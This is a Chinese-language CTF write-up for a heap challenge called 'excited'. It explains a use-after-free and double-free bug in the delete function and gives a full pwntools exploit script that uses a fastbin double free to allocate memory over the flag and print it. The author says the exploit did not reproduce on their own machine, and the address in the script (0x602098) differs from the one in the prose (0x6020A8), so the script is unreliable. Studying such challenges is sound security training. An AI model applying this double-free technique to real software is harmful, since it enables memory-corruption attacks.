心好累,堆處入手,看明白了,可是總是覆盤實現不了。。。不過學長那邊可以,是我機子的問題??
題目鏈接:https://pan.baidu.com/s/1Tv5Y4ieNVEasZ8oAYYn2Lw 提取碼:5td6
文件查看一下
拿到程序發現運行不了,查看文件屬性,發現沒有執行權限,加一個執行權限
執行不了
因爲程序要打開/flag(根目錄下flag)文件
沒有就自動退出了,所以創建
程序主要有三個功能,增加、刪除、查看
delete函數中,指針使用完沒有置0,所以存在uaf和double free漏洞
程序一開始運行時候,flag就已經讀入程序,在s中,位置在bss段
而且,flag這裏剛好爲我們預留了一個大小爲0x60的塊,所以我們應該利用double free申請到這塊內存,然後show()輸出即可
總結思路(error404的ppt):
1.首先一次free掉chunk1、chunk2、chunk1,每個chunk的大小均爲0x50
2.寫入chunk1的fd指針爲0x6020A8(flag的位置)
3.將0x6020A8處作爲chunk的data域分配出來(因爲程序unuse的fd指針在inuse的時候就是data域,是複用內存了)
4.利用show函數打印出flag
//exp
#coding:utf-8
from pwn import *
import sys
p = process('./excited')
context.arch='amd64'
libc=ELF("./excited").libc
def new(size1,content1,size2,content2):
p.recvuntil('> Now please tell me what you want to do :')
p.sendline('1')
p.recvuntil('length : ')
p.sendline(str(size1))
p.recvuntil('> ba : ')
p.send(content1)
p.recvuntil('length : ')
p.sendline(str(size2))
p.recvuntil('> na : ')
p.send(content2)
def delete(idx):
p.recvuntil(' Now please tell me what you want to do :')
p.sendline('3')
p.recvuntil(' ID : ')
p.sendline(str(idx))
def show(idx):
p.recvuntil('ow please tell me what you want to do :')
p.sendline('4')
p.recvuntil('ID : ')
p.sendline(str(idx))
new(0x50,'Chunk_1',0x50,'Chunk_2')#0
new(0x50,'Chunk_3',0x50,'Chunk_4')#1
delete(0)
delete(1)
delete(0)
new(0x50,p64(0x602098),0x50,'Chunk_2')#2
new(0x50,'Chunk_3',0x50,'Chunk_4')#3
new(0x50,'f',0x60,'2')#4
show(4)
p.interactive()
p.close()
參考博客:
(1)https://www.anquanke.com/post/id/199540#h2-16
(3)https://xz.aliyun.com/t/7281